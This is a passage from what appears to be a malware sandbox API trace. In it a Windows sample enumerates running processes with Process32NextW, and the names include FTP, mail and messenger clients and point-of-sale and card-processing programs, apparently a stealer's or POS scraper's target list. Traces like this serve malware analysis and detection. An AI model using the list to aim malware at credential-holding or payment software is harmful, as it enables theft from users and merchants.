lstrlenW (lpString="dwm.exe") returned 7 [0063.152] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0063.153] lstrlenW (lpString="explorer.exe") returned 12 [0063.153] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0063.153] lstrlenW (lpString="spoolsv.exe") returned 11 [0063.153] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.154] lstrlenW (lpString="taskhost.exe") returned 12 [0063.154] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.154] lstrlenW (lpString="svchost.exe") returned 11 [0063.154] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0063.155] lstrlenW (lpString="taskeng.exe") returned 11 [0063.155] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.156] lstrlenW (lpString="taskhost.exe") returned 12 [0063.156] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.156] lstrlenW (lpString="svchost.exe") returned 11 [0063.156] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0063.157] lstrlenW (lpString="sppsvc.exe") returned 10 [0063.157] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.157] lstrlenW (lpString="svchost.exe") returned 11 [0063.157] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0063.158] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0063.158] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0063.158] lstrlenW (lpString="smsvhskate.exe") returned 14 [0063.158] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0063.159] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0063.159] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0063.159] lstrlenW (lpString="patient latin.exe") returned 17 [0063.159] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0063.199] lstrlenW (lpString="barbados.exe") returned 12 [0063.199] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0063.199] lstrlenW (lpString="otthose.exe") returned 11 [0063.199] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0063.200] lstrlenW (lpString="suburban.exe") returned 12 [0063.200] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0063.200] lstrlenW (lpString="examination.exe") returned 15 [0063.201] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0063.201] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0063.201] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0063.202] lstrlenW (lpString="madrid.exe") returned 10 [0063.202] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0063.202] lstrlenW (lpString="measurerush.exe") returned 15 [0063.202] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0063.203] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0063.203] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0063.203] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0063.203] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0063.206] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0063.206] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0063.206] lstrlenW (lpString="jessefun.exe") returned 12 [0063.206] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0063.207] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0063.207] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0063.207] lstrlenW (lpString="sellers.exe") returned 11 [0063.208] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0063.208] lstrlenW (lpString="gras hair.exe") returned 13 [0063.208] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0063.209] lstrlenW (lpString="acquisitions.exe") returned 16 [0063.209] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0063.209] lstrlenW (lpString="starscondos.exe") returned 15 [0063.209] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0063.210] lstrlenW (lpString="3dftp.exe") returned 9 [0063.210] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0063.215] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0063.216] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0063.216] lstrlenW (lpString="alftp.exe") returned 9 [0063.216] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0063.217] lstrlenW (lpString="barca.exe") returned 9 [0063.217] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0063.217] lstrlenW (lpString="bitkinex.exe") returned 12 [0063.217] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0063.218] lstrlenW (lpString="coreftp.exe") returned 11 [0063.218] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.218] lstrlenW (lpString="far.exe") returned 7 [0063.218] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.219] lstrlenW (lpString="filezilla.exe") returned 13 [0063.219] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.219] lstrlenW (lpString="flashfxp.exe") returned 12 [0063.220] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.220] lstrlenW (lpString="fling.exe") returned 9 [0063.220] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.221] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0063.221] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0063.222] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0063.222] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0063.223] lstrlenW (lpString="icq.exe") returned 7 [0063.223] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0063.223] lstrlenW (lpString="leechftp.exe") returned 12 [0063.223] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0063.224] lstrlenW (lpString="ncftp.exe") returned 9 [0063.224] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0063.225] lstrlenW (lpString="notepad.exe") returned 11 [0063.225] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0063.226] lstrlenW (lpString="operamail.exe") returned 13 [0063.226] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0063.227] lstrlenW (lpString="pidgin.exe") returned 10 [0063.227] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0063.227] lstrlenW (lpString="scriptftp.exe") returned 13 [0063.228] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0063.228] lstrlenW (lpString="skype.exe") returned 9 [0063.228] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0063.229] lstrlenW (lpString="smartftp.exe") returned 12 [0063.229] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0063.233] lstrlenW (lpString="thunderbird.exe") returned 15 [0063.233] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0063.234] lstrlenW (lpString="totalcmd.exe") returned 12 [0063.234] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.235] lstrlenW (lpString="trillian.exe") returned 12 [0063.235] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0063.235] lstrlenW (lpString="webdrive.exe") returned 12 [0063.236] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0063.236] lstrlenW (lpString="whatsapp.exe") returned 12 [0063.236] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0063.237] lstrlenW (lpString="winscp.exe") returned 10 [0063.237] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0063.238] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0063.238] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0063.238] lstrlenW (lpString="active-charge.exe") returned 17 [0063.238] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0063.239] lstrlenW (lpString="accupos.exe") returned 11 [0063.239] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0063.240] lstrlenW (lpString="afr38.exe") returned 9 [0063.240] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0063.241] lstrlenW (lpString="aldelo.exe") returned 10 [0063.241] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0063.241] lstrlenW (lpString="ccv_server.exe") returned 14 [0063.241] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0063.242] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0063.242] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0063.243] lstrlenW (lpString="creditservice.exe") returned 17 [0063.243] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0063.338] lstrlenW (lpString="edcsvr.exe") returned 10 [0063.339] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0063.339] lstrlenW (lpString="fpos.exe") returned 8 [0063.339] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0063.340] lstrlenW (lpString="isspos.exe") returned 10 [0063.340] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0063.341] lstrlenW (lpString="mxslipstream.exe") returned 16 [0063.341] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0063.341] lstrlenW (lpString="omnipos.exe") returned 11 [0063.342] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0063.342] lstrlenW (lpString="spcwin.exe") returned 10 [0063.342] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0063.343] lstrlenW (lpString="spgagentservice.exe") returned 19 [0063.343] Process32NextW (in: hSnapshot=0x1e0, lppe=0x210fd34 | out: 